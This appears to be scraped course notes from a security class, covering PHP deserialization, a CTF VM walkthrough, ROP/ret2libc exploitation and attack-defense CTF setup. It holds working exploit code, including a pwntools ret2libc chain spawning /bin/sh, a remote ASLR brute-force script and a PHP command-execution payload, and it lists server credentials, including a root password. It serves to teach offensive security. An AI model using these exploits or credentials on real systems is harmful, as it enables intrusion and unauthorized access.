uses object as string but also can be used to read file or more than that based on function call inside it.<?php\nclass test {\n public $s = \"This is a test\";\n public function displaystring(){\n echo $this->s.'<br />';\n }\n public function __toString()\n {\n echo '__toString method called';\n }\n public function __construct(){\n echo \"__construct method called\";\n }\n public function __destruct(){\n echo \"__destruct method called\";\n }\n public function __wakeup(){\n echo \"__wakeup method called\";\n }\n public function __sleep(){\n echo \"__sleep method called\";\n return array(\"s\"); #The \"s\" makes references to the public attribute\n }\n}\n\n$o = new test();\n$o->displaystring();\n$ser=serialize($o);\necho $ser;\n$unser=unserialize($ser);\n$unser->displaystring();\n\n/*\nphp > $o = new test();\n__construct method called__destruct method called\nphp > $o->displaystring();\nThis is a test<br />\nphp > $ser=serialize($o);\n__sleep method called\nphp > echo $ser;\nO:4:\"test\":1:{s:1:\"s\";s:14:\"This is a test\";}\nphp > $unser=unserialize($ser);\n__wakeup method called__destruct method called\nphp > $unser->displaystring();\nThis is a test<br />\n*/\n?>\n
If you look to the results you can see that the functions __wakeup
and __destruct
are called when the object is deserialized. Note that in several tutorials you will find that the __toString
function is called when trying yo print some attribute, but apparently that's not happening anymore.
Autoload Classes may also be dangerous.
You can read an explained PHP example here: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, here https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf or here https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
"},{"location":"CS315/2021/Week%2012/#serializing-referenced-values","title":"Serializing Referenced Values","text":"If for some reason you want to serialize a value as a reference to another value serialized you can:
<?php\nclass AClass {\n public $param1;\n public $param2;\n}\n\n$o = new WeirdGreeting;\n$o->param1 =& $o->param22;\n$o->param = \"PARAM\";\n$ser=serialize($o);\n
"},{"location":"CS315/2021/Week%2012/#files","title":"Files","text":"Functionalities that allow to upload files might be vulnerable to several issues. Functionalities that generates files including user input might execute unexpected code. Users that open files uploaded by users or automatically generated including user input might be compromised.
This vulnerabilities might help to exploit other vulnerabilities.
In this challenge, you need to download the following virtual machine to finish the challenges.
The box was created with Virtualbox
. Upon booting up use netdiscover
tool to find the IP address. This is the target address based on whatever settings you have. You should verify the address just in case.
You don't need to answer all questions in order. Skip some questions may not affect the next steps.
Download: https://mega.nz/file/HxFXgIAT#PFjk8HV_ltXVh-Hz1D3xAXYc31GpmgTQeFfkKibn9Tc
Mirror: https://pan.baidu.com/s/1mOZxE_XHgbSZR_yKTWQAbA (Code: 1337)
"},{"location":"CS315/2021/Week%2012/#2-pt-establish","title":"(2 pt) Establish","text":"Environment setup should use VirtualBox
history version (VirtualBox 6.1.28 has a bug with Hyper-V, I used VirtualBox 6.0.24 and worked properly). You should setup Network as the following:
While the Serial Ports setting as follow (Port Mode set to Disconnected
):
The virtual image should enter the following promption:
Ubuntu 16.04.7 LTS ubuntu-xenial tty1\nubuntu-xenial login: _\n
Finding the IP address:
Open you terminal (powershell.exe in Windows), and use ipconfig /all
to find your Host-only NET
ip address.
Use any tool to scan the ip 192.168.xx.0/24
and you can find the virtual machine ip address. Otherwise, you can also use arp -a
to find your Host-only Network
address, and usually VM's ip address is followed.
Open your web browser, you can find this page in VM's ip address:
You are done with configuration, now you can hack the machine and solve the challenges!
Upload a screenshot about the web page and the IP address would give 2 points.
"},{"location":"CS315/2021/Week%2012/#2-pt-port-scan-and-directory-scan","title":"(2 pt) Port scan and directory scan","text":"Using Nmap you can scan open ports of VM. Only port 80 is open and we can find a HTTP website. Using Gobuster or Dirb to scan the website directory, you may find a upload folder under the blogger.
What's the URL of the upload folder?
Answer: http://ip/******/*****/****/**********/*******/
(replace all stars to your answer)
Hint: kali wordlists for scanning: /usr/share/wordlists. If you don't have those files, it's fine to search a wordlist online.
"},{"location":"CS315/2021/Week%2012/#2-pt-wordpress","title":"(2 pt) Wordpress","text":"It's easy to find the blogger is using Wordpress. The version of the given blogger is vulnerable. What's the vulnerability name of the blogger?
Answer: A******** F*** U*****
(replace all stars to your answer, needn't to be 100% the same)
Hint: look at the version of wordpress. Search in the exploitDB.
"},{"location":"CS315/2021/Week%2012/#2-pt-reverse-shell","title":"(2 pt) Reverse shell","text":"Using the vulnerability, you can get a reversed shell. Besides, with some techniques, you can generate a pty shell. What's the name of users?
Answer: u*****, j****, v******
(replace all stars to your answer)
Hint: users can be located in /etc/passwd or /home folder.
"},{"location":"CS315/2021/Week%2012/#2-pt-root","title":"(2 pt) Root","text":"Weak password is dangerous, using Hydra or other password cracker can easily break the weak password. Get the root privilege and find me root.txt
.
Answer: flag{****_****_***_**********_** **}
Hint: sometimes sudo can be vulnerable.
"},{"location":"CS315/2021/Week%2013/","title":"Week13 PWN: ROL and ROP","text":"According to the @CTF101: https://ctf101.org/
"},{"location":"CS315/2021/Week%2013/#return-oriented-programming","title":"Return Oriented Programming","text":"Return Oriented Programming (or ROP) is the idea of chaining together small snippets of assembly with stack control to cause the program to do more complex things.
As we saw in buffer overflows, having stack control can be very powerful since it allows us to overwrite saved instruction pointers, giving us control over what the program does next. Most programs don't have a convenient give_shell
function however, so we need to find a way to manually invoke system
or another exec
function to get us our shell.
Imagine we have a program similar to the following:
#include <stdio.h>\n#include <stdlib.h>\n\nchar name[32];\n\nint main() {\n printf(\"What's your name? \");\n read(0, name, 32);\n\n printf(\"Hi %s\\n\", name);\n\n printf(\"The time is currently \");\n system(\"/bin/date\");\n\n char echo[100];\n printf(\"What do you want me to echo back? \");\n read(0, echo, 1000);\n puts(echo);\n\n return 0;\n}\n
We obviously have a stack buffer overflow on the echo
variable which can give us EIP control when main
returns. But we don't have a give_shell
function! So what can we do?
We can call system
with an argument we control! Since arguments are passed in on the stack in 32-bit Linux programs (see calling conventions), if we have stack control, we have argument control.
When main returns, we want our stack to look like something had normally called system
. Recall what is on the stack after a function has been called:
... // More arguments\n 0xffff0008: 0x00000002 // Argument 2\n 0xffff0004: 0x00000001 // Argument 1\nESP -> 0xffff0000: 0x080484d0 // Return address\n
So main
's stack frame needs to look like this:
0xffff0008: 0xdeadbeef // system argument 1\n 0xffff0004: 0xdeadbeef // return address for system\nESP -> 0xffff0000: 0x08048450 // return address for main (system's PLT entry)\n
Then when main
returns, it will jump into system
's PLT entry and the stack will appear just like system
had been called normally for the first time.
Note: we don't care about the return address system
will return to because we will have already gotten our shell by then!
This is a good start, but we need to pass an argument to system
for anything to happen. As mentioned in the page on ASLR, the stack and dynamic libraries \"move around\" each time a program is run, which means we can't easily use data on the stack or a string in libc for our argument. In this case however, we have a very convenient name
global which will be at a known location in the binary (in the BSS segment).
Our exploit will need to do the following:
name
system
's PLT entryname
global to act as the first argument to system
In 64-bit binaries we have to work a bit harder to pass arguments to functions. The basic idea of overwriting the saved RIP is the same, but as discussed in calling conventions, arguments are passed in registers in 64-bit programs. In the case of running system
, this means we will need to find a way to control the RDI register.
To do this, we'll use small snippets of assembly in the binary, called \"gadgets.\" These gadgets usually pop
one or more registers off of the stack, and then call ret
, which allows us to chain them together by making a large fake call stack.
For example, if we needed control of both RDI and RSI, we might find two gadgets in our program that look like this (using a tool like rp++ or ROPgadget):
0x400c01: pop rdi; ret\n0x400c03: pop rsi; pop r15; ret\n
We can setup a fake call stack with these gadets to sequentially execute them, pop
ing values we control into registers, and then end with a jump to system
.
0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled\n 0xffff0020: 0x1337beef // value we want in r15 (probably garbage)\n 0xffff0018: 0x1337beef // value we want in rsi\n 0xffff0010: 0x400c03 // address that the rdi gadget's ret will return to - the pop rsi gadget\n 0xffff0008: 0xdeadbeef // value to be popped into rdi\nRSP -> 0xffff0000: 0x400c01 // address of rdi gadget\n
Stepping through this one instruction at a time, main
returns, jumping to our pop rdi
gadget:
RIP = 0x400c01 (pop rdi)\nRDI = UNKNOWN\nRSI = UNKNOWN\n\n 0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled\n 0xffff0020: 0x1337beef // value we want in r15 (probably garbage)\n 0xffff0018: 0x1337beef // value we want in rsi\n 0xffff0010: 0x400c03 // address that the rdi gadget's ret will return to - the pop rsi gadget\nRSP -> 0xffff0008: 0xdeadbeef // value to be popped into rdi\n
pop rdi
is then executed, popping the top of the stack into RDI:
RIP = 0x400c02 (ret)\nRDI = 0xdeadbeef\nRSI = UNKNOWN\n\n 0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled\n 0xffff0020: 0x1337beef // value we want in r15 (probably garbage)\n 0xffff0018: 0x1337beef // value we want in rsi\nRSP -> 0xffff0010: 0x400c03 // address that the rdi gadget's ret will return to - the pop rsi gadget\n
The RDI gadget then ret
s into our RSI gadget:
RIP = 0x400c03 (pop rsi)\nRDI = 0xdeadbeef\nRSI = UNKNOWN\n\n 0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled\n 0xffff0020: 0x1337beef // value we want in r15 (probably garbage)\nRSP -> 0xffff0018: 0x1337beef // value we want in rsi\n
RSI and R15 are popped:
RIP = 0x400c05 (ret)\nRDI = 0xdeadbeef\nRSI = 0x1337beef\n\nRSP -> 0xffff0028: 0x400d00 // where we want the rsi gadget's ret to jump to now that rdi and rsi are controlled\n
And finally, the RSI gadget ret
s, jumping to whatever function we want, but now with RDI and RSI set to values we control.
The objective is to call the syscall (execv) from a ROP controlling the value of registries: RDI, RSI, RDX, RAX and obviously the RIP (the other ones doesn't matters), and controlling somewhere to write \"/bin/sh\"
ROPgadget --binary vulnbinary | grep syscall\nROPgadget --binary vulnbinary | grep \"rdi\\|rsi\\|rdx\\|rax\" | grep pop\n
"},{"location":"CS315/2021/Week%2013/#writing","title":"Writing","text":"If you can somehow write to an address and then get the address of where you have written then this step is unnecessary.
Elsewhere, you may search for some write-what-where. As is explained in this tutorial: https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/ you have to find something that allows you to save some value inside a registry and then save it to some controlled address inside another registry. For example some pop eax; ret
, pop edx: ret
, mov eax, [edx]
You can find mov gadgets doing: ROPgadget --binary vulnbinary | grep mov
If you have found some write-what-where and can control the needed registries to call execv, there is only left finding a place to write.
objdump -x vulnbinary | grep \".bss\" -B1\n CONTENTS, ALLOC, LOAD, DATA\n 23 .bss 00000010 00403418 00403418 00002418 23\n
In this case: 0x403418
"},{"location":"CS315/2021/Week%2013/#writing-binsh","title":"Writing \"/bin/sh\"","text":"buffer += address(pop_eax) # place value into EAX\nbuffer += \"/bin\" # 4 bytes at a time\nbuffer += address(pop_edx) # place value into edx\nbuffer += address(writable_memory)\nbuffer += address(writewhatwhere)\n\nbuffer += address(pop_eax)\nbuffer += \"//sh\"\nbuffer += address(pop_edx)\nbuffer += address(writable_memory + 4)\nbuffer += address(writewhatwhere)\n
"},{"location":"CS315/2021/Week%2013/#rop-leaking-libc-address","title":"ROP - Leaking LIBC address","text":""},{"location":"CS315/2021/Week%2013/#quick-resume","title":"Quick Resume","text":"This tutorial is going to exploit the code/binary proposed in this tutorial: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Another useful tutorial: https://made0x78.com/bseries-ret2libc/
"},{"location":"CS315/2021/Week%2013/#code","title":"Code","text":"Filename: vuln.c
#include <stdio.h>\n\nint main() {\n char buffer[32];\n puts(\"Simple ROP.\\n\");\n gets(buffer);\n\n return 0;\n}\ngcc -o vuln vuln.c -fno-stack-protector -no-pie\n
"},{"location":"CS315/2021/Week%2013/#rop-pwntools-template","title":"ROP - PWNtools template","text":"Find my ROP-PWNtools template here. I'm going to use the code located there to make the exploit. Download the exploit and place it in the same directory as the vulnerable binary.
"},{"location":"CS315/2021/Week%2013/#1-finding-the-offset","title":"1- Finding the offset","text":"The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default OFFSET = \"\"
):
####################\n#### Find offset ###\n####################\nOFFSET = \"\"#\"A\"*72\nif OFFSET == \"\":\n gdb.attach(p.pid, \"c\") #Attach and continue\n payload = cyclic(1000)\n print(r.clean())\n r.sendline(payload)\n #x/wx $rsp -- Search for bytes that crashed the application\n #cyclic_find(0x6161616b) # Find the offset of those bytes\n return\n
Execute python template.py
a GDB console will be opened with the program being crashed. Inside that GDB console execute x/wx $rsp
to get the bytes that were going to overwrite the RIP. Finally get the offset using a python console:
from pwn import *\ncyclic_find(0x6161616b)\n
After finding the offset (in this case 40) change the OFFSET variable inside the template using that value. OFFSET = \"A\" * 40
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call puts
to find the libc being used, and later to launch the final exploit.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols[\"puts\"] # This is also valid to call puts\nMAIN_PLT = elf.symbols['main']\nPOP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep \"pop rdi\"\nRET = (rop.find_gadget(['ret']))[0]\n\nlog.info(\"Main start: \" + hex(MAIN_PLT))\nlog.info(\"Puts plt: \" + hex(PUTS_PLT))\nlog.info(\"pop rdi; ret gadget: \" + hex(POP_RDI))\n
The PUTS_PLT
is needed to call the function puts. The MAIN_PLT
is needed to call the main function again after one interaction to exploit the overflow again (infinite rounds of exploitation).It is used at the end of each ROP. The POP_RDI is needed to pass a parameter to the called function.
In this step you don't need to execute anything as everything will be found by pwntools during the execution.
"},{"location":"CS315/2021/Week%2013/#3-finding-libc-library","title":"3- Finding LIBC library","text":"Now is time to find which version of the libc library is being used. To do so we are going to leak the address in memory of the function puts
and then we are going to search in which library version the puts version is in that address.
def get_addr(func_name):\n FUNC_GOT = elf.got[func_name]\n log.info(func_name + \" GOT @ \" + hex(FUNC_GOT))\n # Create rop chain\n rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)\n\n #Send our rop-chain payload\n #p.sendlineafter(\"dah?\", rop1) #Interesting to send in a specific moment\n print(p.clean()) # clean socket buffer (read all and print)\n p.sendline(rop1)\n\n #Parse leaked address\n recieved = p.recvline().strip()\n leak = u64(recieved.ljust(8, \"\\x00\"))\n log.info(\"Leaked libc address, \"+func_name+\": \"+ hex(leak))\n #If not libc yet, stop here\n if libc != \"\":\n libc.address = leak - libc.symbols[func_name] #Save libc base\n log.info(\"libc base @ %s\" % hex(libc.address))\n\n return hex(leak)\n\nget_addr(\"puts\") #Search for puts address in memmory to obtains libc base\nif libc == \"\":\n print(\"Find the libc library and continue with the exploit... (https://libc.blukat.me/)\")\n p.interactive()\n
To do so, the most important line of the executed code is:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)\n
This will send some bytes util overwriting the RIP is possible: OFFSET
. Then, it will set the address of the gadget POP_RDI
so the next address (FUNC_GOT
) will be saved in the RDI registry. This is because we want to call puts passing it the address of the PUTS_GOT
as the address in memory of puts function is saved in the address pointing by PUTS_GOT
. After that, PUTS_PLT
will be called (with PUTS_GOT
inside the RDI) so puts will read the content inside PUTS_GOT
(the address of puts function in memory) and will print it out. Finally, main function is called again so we can exploit the overflow again.
This way we have tricked puts function to print out the address in memory of the function puts (which is inside libc library). Now that we have that address we can search which libc version is being used.
As we are exploiting some local binary it is not needed to figure out which version of libc is being used (just find the library in /lib/x86_64-linux-gnu/libc.so.6
). But, in a remote exploit case I will explain here how can you find it:
You can search which library is being used in the web page: https://libc.blukat.me/ It will also allow you to download the discovered version of libc
"},{"location":"CS315/2021/Week%2013/#32-searching-for-libc-version-2","title":"3.2- Searching for libc version (2)","text":"You can also do:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
This will take some time, be patient. For this to work we need:
puts
0x7ff629878690
We can figure out which libc that is most likely used.
./find puts 0x7ff629878690\nubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)\narchive-glibc (id libc6_2.23-0ubuntu11_amd64)\n
We get 2 matches (you should try the second one if the first one is not working). Download the first one:
./download libc6_2.23-0ubuntu10_amd64\nGetting libc6_2.23-0ubuntu10_amd64\n -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb\n -> Downloading package\n -> Extracting package\n -> Package saved to libs/libc6_2.23-0ubuntu10_amd64\n
Copy the libc from libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
to our working directory.
puts\nprintf\n__libc_start_main\nread\ngets\n
"},{"location":"CS315/2021/Week%2013/#4-finding-based-libc-address-exploiting","title":"4- Finding based libc address & exploiting","text":"At this point we should know the libc library used. As we are exploiting a local binary I will use just:/lib/x86_64-linux-gnu/libc.so.6
So, at the begging of template.py
change the libc variable to: libc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\") #Set library path when know it
Giving the path to the libc library the rest of the exploit is going to be automatically calculated.
Inside the get_addr
function the base address of libc is going to be calculated:
if libc != \"\":\n libc.address = leak - libc.symbols[func_name] #Save libc base\n log.info(\"libc base @ %s\" % hex(libc.address))\n
Then, the address to the function system
and the address to the string \"/bin/sh\" are going to be calculated from the base address of libc and given the libc library.
BINSH = next(libc.search(\"/bin/sh\")) - 64 #Verify with find /bin/sh\nSYSTEM = libc.sym[\"system\"]\nEXIT = libc.sym[\"exit\"]\n\nlog.info(\"bin/sh %s \" % hex(BINSH))\nlog.info(\"system %s \" % hex(SYSTEM))\n
Finally, the /bin/sh execution exploit is going to be prepared sent:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)\n\np.clean()\np.sendline(rop2)\n\n##### Interact with the shell #####\np.interactive() #Interact with the conenction\n
Let's explain this final ROP. The last ROP (rop1
) ended calling again the main function, then we can exploit again the overflow (that's why the OFFSET
is here again). Then, we want to call POP_RDI
pointing to the addres of \"/bin/sh\" (BINSH
) and call system function (SYSTEM
) because the address of \"/bin/sh\" will be passed as a parameter. Finally, the address of exit function is called so the process exists nicely and any alert is generated.
This way the exploit will execute a /bin/sh shell.
"},{"location":"CS315/2021/Week%2013/#42-using-one_gadget","title":"4(2)- Using ONE_GADGET","text":"You could also use ONE_GADGET to obtain a shell instead of using system and \"/bin/sh\". ONE_GADGET will find inside the libc library some way to obtain a shell using just one ROP. However, normally there are some constrains, the most common ones and easy to avoid are like [rsp+0x30] == NULL
As you control the values inside the RSP you just have to send some more NULL values so the constrain is avoided.
ONE_GADGET = libc.address + 0x4526a\nrop2 = base + p64(ONE_GADGET) + \"\\x00\"*100\n
"},{"location":"CS315/2021/Week%2013/#exploit-file","title":"EXPLOIT FILE","text":"You can find a template to exploit this vulnerability here:
ROP-PWN template
"},{"location":"CS315/2021/Week%2013/#common-problems","title":"Common problems","text":""},{"location":"CS315/2021/Week%2013/#main_plt-elfsymbolsmain-not-found","title":"MAIN_PLT = elf.symbols['main'] not found","text":"If the \"main\" symbol does not exist. Then you can just where is the main code:
objdump -d vuln_binary | grep \"\\.text\"\nDisassembly of section .text:\n0000000000401080 <.text>:\n
and set the address manually:
MAIN_PLT = 0x401080\n
"},{"location":"CS315/2021/Week%2013/#puts-not-found","title":"Puts not found","text":"If the binary is not using Puts you should check if it is using
"},{"location":"CS315/2021/Week%2013/#sh-1-ssssssss-not-found","title":"sh: 1: %s%s%s%s%s%s%s%s: not found
","text":"If you find this error after creating all the exploit: sh: 1: %s%s%s%s%s%s%s%s: not found
Try to subtract 64 bytes to the address of \"/bin/sh\":
BINSH = next(libc.search(\"/bin/sh\")) - 64\n
"},{"location":"CS315/2021/Week%2013/#ret2lib","title":"Ret2Lib","text":"If you have found a vulnerable binary and you think that you can exploit it using Ret2Lib here you can find some basic steps that you can follow.
"},{"location":"CS315/2021/Week%2013/#if-you-are-inside-the-host","title":"If you are inside the host","text":""},{"location":"CS315/2021/Week%2013/#you-can-find-the-address-of-libc","title":"You can find the address of libc","text":"ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)\n
If you want to check if the ASLR is changing the address of libc you can do:
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done\n
"},{"location":"CS315/2021/Week%2013/#get-offset-of-system-function","title":"Get offset of system function","text":"readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system\n
"},{"location":"CS315/2021/Week%2013/#get-offset-of-binsh","title":"Get offset of \"/bin/sh\"","text":"strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh\n
"},{"location":"CS315/2021/Week%2013/#procmaps","title":"/proc/\\/maps If the process is creating children every time you talk with it (network server) try to read that file (probably you will need to be root).
Here you can find exactly where is the libc loaded inside the process and where is going to be loaded for every children of the process.
In this case it is loaded in 0xb75dc000 (This will be the base address of libc)
","text":""},{"location":"CS315/2021/Week%2013/#using-gdb-peda","title":"Using gdb-pedaGet address of system function, of exit function and of the string \"/bin/sh\" using gdb-peda:
p system\np exit\nfind \"/bin/sh\"\n
","text":""},{"location":"CS315/2021/Week%2013/#bypassing-aslr","title":"Bypassing ASLR","text":"You can try to bruteforce the abse address of libc.
for off in range(0xb7000000, 0xb8000000, 0x1000):\n
"},{"location":"CS315/2021/Week%2013/#code_1","title":"Code","text":"from pwn import *\n\nc = remote('192.168.85.181',20002)\nc.recvline() #Banner\n\nfor off in range(0xb7000000, 0xb8000000, 0x1000):\n p = \"\"\n p += p32(off + 0x0003cb20) #system\n p += \"CCCC\" #GARBAGE\n p += p32(off + 0x001388da) #/bin/sh\n payload = 'A'*0x20010 + p\n c.send(payload)\n c.interactive() #?\n
"},{"location":"CS315/2021/Week%2013/#exercise","title":"Exercise","text":""},{"location":"CS315/2021/Week%2013/#5-pt-ret2win","title":"(5 pt) ret2win","text":"Challenge is from https://ropemporium.com/challenge/ret2win.html
If you are interested in the ROP exploit, please take a look at ROP Emporium.
Locate a method that you want to call within the binary. Call it by overwriting a saved return address on the stack.
nc 103.102.44.218 10001
Download binary x86_64 ELF: https://ropemporium.com/binary/ret2win.zip
Hint: check the LET'S DO THIS part of original challenge.
"},{"location":"CS315/2021/Week%2013/#5-pt-awd-prepare","title":"(5 pt) AWD prepare","text":"We know that we are going to have a AWD CTF next week. Make sure you have access to the test AWD environment. Check the demo challenge and try to hack it to get a flag.
Browser the page http://103.102.44.218:23333/
in your browser, login with some test account below:
Account\uff1aTEST1 Password\uff1aYpkyiQDwGHLjoOk3\nAccount\uff1aTEST2 Password\uff1apQXBpiFPlNBB6TUt\nAccount\uff1aTEST3 Password\uff1acUMvgNGCb64E4uLv\nAccount\uff1aTEST4 Password\uff1aRQGqtTfK6601c7qY\nAccount\uff1aTEST5 Password\uff1aSVtm4Pd3vtAaeQvZ\nAccount\uff1aTEST6 Password\uff1alNTrEnx586taV8Ow\nAccount\uff1aTEST7 Password\uff1awXxFkOsGcpb1XsIo\nAccount\uff1aTEST8 Password\uff1aAhcNEZpaBWAm3Jst\nAccount\uff1aTEST9 Password\uff1alxqzbu9tjkshQ0oB\nAccount\uff1aTEST10 Password\uff1abRewQknqeY3yrZCc\n
The flag file is located in /var/flag/flag.txt
. The application files are under /app
. You have the permission to read and modify the application files.
During the AWD CTF, you can only access ctf
user. Here's the account information:
IP address: 103.102.44.218\nService port: 20000-20009\nSSH port: 30000-30009\nUsername: ctf\nPassword: 123456\n
Further, only for testing, you have the root password:
Username: root\nPassword: rootpassword\n
Please DO NOT change the password of the users during testing.
In this challenge, you should post those screenshots in your writeup:
\u200b In the browser: http://103.102.44.218:2000x/
ctf
.\u200b In the terminal: ssh ctf@103.102.44.218 -p 3000x
\u200b In the ssh session: cat /var/flag/flag.txt
Hope you enjoy the AWD.
Q&As:\n\nQ: How to modify the file on the server?\nA: Use scp command to transfer files through network. Download the file to you local machine and modify, after that then push the file to the server.\nFor example:\nscp -P 30000 ctf@103.102.44.218:/app/index.php ./\n<modify>\nscp -P 30000 ./index.php ctf@103.102.44.218:/app/index.php\n\nQ: Can I install software on the server (vim for example)?\nA: You can't install software through apt. But if you have other methods, they're allowed.\n\nQ: Can I delete flag.txt after I read it?\nA: You can't. Only root can modify flag.txt.\n
"},{"location":"CS315/2021/Week%2014/","title":"Week14 CTF: Attack-Defense CTF","text":"An Attack/Defense Capture the Flag is a type of cybersecurity competition where competing teams attempt to find security vulnerabilities in services run by the opposing teams. Each team works finding vulnerabilities in other team\u2019s services while protecting their own, hence \u201cattack/defense\u201d.
(image from CTF.zone)
All teams are given an image to host on servers, usually a Linux distribution with code for several services that the game creators made. For example, in this year\u2019s saarCTF, there were some simple websites for food reviews and calendar events hosted on a linux server. All teams get the same images, so if you find a vulnerability in your server, you can use it to attack other teams\u2019.
When the competition starts, you gain access to the servers and can start reading the code and looking for vulnerabilities. The game admins will use your service (programmatically) as normal users and place \u201cflags\u201d for other teams to steal if they find vulnerabilities. For example, they might create private events in the calendar app mentioned earlier, and the flags would be in the details of the event.
Vulnerabilities are generally intentionally placed, though sometimes game creators make mistakes and there are extra unintentional attack paths. Competitions tend to have a range of easy to more complicated exploits.
A simple exploit might be finding that the view_calendar_event
function takes in a uid from the request, and doesn\u2019t validate that this is the same user as the logged in user. A more complicated exploit could involve a buffer overflow leading to a remote code execution. There\u2019s also been exploits using less traditional methods, like adversarial machine learning: fausecteam/faustctf-2018-jodlgang.
After finding a vulnerability, the next step is to build a script to exploit it on other teams\u2019 servers and patch the issue on your own server. Points are determined based on how many opposing teams you\u2019re able to steal flags from and how many flags you successfully prevent other teams from stealing.
"},{"location":"CS315/2021/Week%2014/#rules","title":"Rules","text":"Competition start time: 2021-12-13 21:00
Competition end time: 2021-12-16 21:00
Time per round: 5 minutes (864 rounds in total)
Score per round: 50
Challenges:
Base score per challenge: 1000
Total teams: 50
Flag location: /var/flag.txt
SSH user: ctf
SSH default password: 123456
The AWD CTF has 5 challenges in total. Involving 4 web and 1 pwn.
"},{"location":"CS315/2021/Week%2014/#sanity_check","title":"Sanity_check","text":"This challenge is simple PHP script:
The script requires one parameter called str
, and gives out the length of the string.
For example, a valid request might be:
http://ip:port/?str=some_example_string\n
The page would response the following text:
some_example_string length is 19\n
"},{"location":"CS315/2021/Week%2014/#calculator","title":"Calculator","text":"The website is written in PHP.
The calculator has only 1 function: to calculate the input equation of user.
An example input of 2*3
would result in 6
.
This challenge doesn't offer any source code.
However, you can modify the binary ELF file with any hex editor or de-compiler.
First of all, we are given 5 choices:
1.register\n2.login\n3.reset passwd\n4.play game\n5.logout\nYour choice:\n
We need to register and then login. After that, we can play this game.
By choosing 4, the game begins:
1.name your city\n2.rename your city\n3.manage your shop\n4.manage your army\n5.show your city\n6.battle\n7.back\nYour choice:\n
We can name cities, manage shops, and manage army. After everything is done, we would like to battle.
However, the game is too difficult. Most of the time, we only have the bad ending.
"},{"location":"CS315/2021/Week%2014/#image-manipulator","title":"Image manipulator","text":"This web app allows us to manipulate the images.
We can upload a file and modify those information:
1. width and height\n2. crop the image\n3. rotate the image\n4. flip\n5. mirror\n6. grayscale\n7. sepia\n
Let's take a look at the source code.
In the /usr/bin/gs
file is the ghostscript
. Ghostscript is an interpreter for PostScript Portable Document Format (PDF) files.
app\n\u251c\u2500\u2500 App.php\n\u251c\u2500\u2500 Driver\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 Base.php\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 Convert.php\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 Image.php\n\u2502\u00a0\u00a0 \u2514\u2500\u2500 index.html\n\u251c\u2500\u2500 Template\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 index.html\n\u2502\u00a0\u00a0 \u2514\u2500\u2500 main.html\n\u251c\u2500\u2500 assets\n\u2502\u00a0\u00a0 \u251c\u2500\u2500 index.html\n\u2502\u00a0\u00a0 \u2514\u2500\u2500 main.css\n\u251c\u2500\u2500 inc.php\n\u2514\u2500\u2500 index.php\n
Under the app
folder is the main structure of the website. The website is written by PHP. An index.php
hooks all the files to work together.
inc.php
: defines some folder location.
App.php
: main logic of the website. Sends all requests to target file.
assets
: static pages.
Template
: static web html style.
Driver
: you should look at files under this folder and find out the vulnerabilities.
Blog is a fully functional blog website with all pages you need.
The website contains a database of MySQL on 3306. And based on the zblog template.
Blog has a CMS and you should check out the installation first.
Let's look at the source code.
src\n\u251c\u2500\u2500 feed.php\n\u251c\u2500\u2500 index.php\n\u251c\u2500\u2500 search.php\n\u251c\u2500\u2500 zb_install\n\u251c\u2500\u2500 zb_system\n\u2514\u2500\u2500 zb_users\n
There are 3 major folders under the source code.
Firstly, zb_install
takes all the installation options and instructions to setup a website.
ab_system
is the main function of the website admin panel.
zb_users
takes all user functions.
HTTP
, which means it's possible to analyze network traffic of others.Before the AWD CTF, you should check the following list:
curl -X POST http://www.compass.college/api/flag -H \"Authorization: <token>\" -d \"{ \\\"flag\\\": \\\"your_flag_here\\\" }\"\n
GitHub repo of an example flag submitter:
https://github.com/0xaww/awd-submit-flag
"},{"location":"CS315/2021/Week%2014/#exploit-script","title":"Exploit Script","text":"Using manual exploit is not efficient. By using automate script to exploit and submit the flag.
An example exploit script of a SSTI vulnerability looks like:
import requests\nurl = \"\"\ndata = {\n \"method\": \"__construct\",\n \"filter[]\": \"assert\",\n \"method\": \"get\",\n \"get[]\": \"die((new ReflectionFunction('syste'.'m'))->invoke('cat /var/flag.txt'))\",\n}\nprint(requests.post(url, data=data).text)\n
The script can be configured to run every 5 minutes or using flag submitter to hook the exploit script.
"},{"location":"CS315/2021/Week%202/","title":"Week 2 PWN: Basic Buffer Overflow","text":"According to the @CTF101: https://ctf101.org/
"},{"location":"CS315/2021/Week%202/#binary-exploitation","title":"Binary Exploitation","text":"Binaries, or executables, are machine code for a computer to execute. For the most part, the binaries that you will face in CTFs are Linux ELF files or the occasional windows executable. Binary Exploitation is a broad topic within Cyber Security which really comes down to finding a vulnerability in the program and exploiting it to gain control of a shell or modifying the program's functions.
Common topics addressed by Binary Exploitation or 'pwn' challenges include:
